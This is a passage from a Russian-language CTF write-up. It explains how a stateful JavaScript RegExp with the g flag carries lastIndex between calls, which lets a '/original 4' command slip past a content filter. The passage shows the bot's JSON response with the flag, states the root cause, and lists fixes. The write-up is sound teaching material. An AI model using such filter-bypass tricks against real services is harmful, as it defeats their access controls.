  &lt;p id=&quot;fuWH&quot;&gt;&lt;strong&gt;&lt;em&gt;checkContent()&lt;/em&gt;&lt;/strong&gt; начинает поиск совпадений в строке &lt;strong&gt;&lt;em&gt;&amp;quot;/original 4&amp;quot;&lt;/em&gt;&lt;/strong&gt; с позиции 4 (унаследованной от шага 2). Слово &lt;strong&gt;&lt;em&gt;/original&lt;/em&gt;&lt;/strong&gt; начинается с позиции 0, поэтому поймать его уже нельзя — фильтр не находит нарушений и пропускает сообщение. &lt;strong&gt;&lt;em&gt;parseCommand()&lt;/em&gt;&lt;/strong&gt; независимо распознаёт&lt;strong&gt;&lt;em&gt; /original 4&lt;/em&gt;&lt;/strong&gt; и выполняет &lt;strong&gt;&lt;em&gt;handleCommand()&lt;/em&gt;&lt;/strong&gt;, который возвращает полный оригинальный текст трека.&lt;/p&gt;
  &lt;p id=&quot;L5bi&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;EwEh&quot; data-align=&quot;center&quot;&gt;Результат&lt;/h2&gt;
  &lt;p id=&quot;ejcU&quot;&gt;&lt;/p&gt;
  &lt;pre id=&quot;DmkA&quot; data-lang=&quot;bash&quot;&gt;{
  &amp;quot;ok&amp;quot;: true,
  &amp;quot;type&amp;quot;: &amp;quot;bot&amp;quot;,
  &amp;quot;command&amp;quot;: &amp;quot;/original&amp;quot;,
  &amp;quot;message&amp;quot;: &amp;quot;...[Аутро]\n...\nЗабираю своё. Вот он - ключ. Вот он - флаг: }&amp;quot;
}&lt;/pre&gt;
  &lt;p id=&quot;kTaH&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;gQ8v&quot; data-align=&quot;center&quot;&gt;Причина уязвимости&lt;/h2&gt;
  &lt;p id=&quot;Ltkd&quot;&gt;&lt;/p&gt;
  &lt;p id=&quot;p0zr&quot;&gt;Название флага обыгрывает суть бага: флаг g заставляет &lt;em&gt;&lt;strong&gt;RegExp&lt;/strong&gt;&lt;/em&gt; хранить &lt;strong&gt;&lt;em&gt;lastIndex&lt;/em&gt;&lt;/strong&gt; между вызовами. Когда один и тот же объект переиспользуется в разных функциях (цикл &lt;strong&gt;&lt;em&gt;exec()&lt;/em&gt;&lt;/strong&gt; до &lt;strong&gt;&lt;em&gt;null&lt;/em&gt;&lt;/strong&gt; vs одиночный&lt;strong&gt;&lt;em&gt; test()&lt;/em&gt;&lt;/strong&gt;), они неявно влияют друг на друга через общее мутируемое состояние. «Тишина» (censor на «Тише») буквально заглушила фильтр символа / и пропустила команду &lt;em&gt;&lt;u&gt;/original.&lt;/u&gt;&lt;/em&gt;&lt;/p&gt;
  &lt;p id=&quot;SOCS&quot;&gt;&lt;strong&gt;Как правильно чинить&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;mzdS&quot;&gt;Не кэшировать&lt;strong&gt;&lt;em&gt; RegExp&lt;/em&gt;&lt;/strong&gt; с g/y между независимыми вызовами — либо создавать новый объект каждый раз, либо явно делать&lt;strong&gt;&lt;em&gt; re.lastIndex = 0.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;XNKN&quot;&gt;Не полагаться на автосброс &lt;strong&gt;&lt;em&gt;lastIndex&lt;/em&gt;&lt;/strong&gt; при &lt;strong&gt;&lt;em&gt;exec() === null&lt;/em&gt;&lt;/strong&gt; (работает только если цикл доходит до конца строки).&lt;/p&gt;
  &lt;p id=&quot;90IM&quot;&gt;Использовать&lt;strong&gt;&lt;em&gt; String.prototype.matchAll() (stateless)&lt;/em&gt;&lt;/strong&gt; или выделенный regex без g для точечных проверок (matchesPolicy), отдельно от полного сканирования (checkContent).&lt;/p&gt;

</content></entry></feed>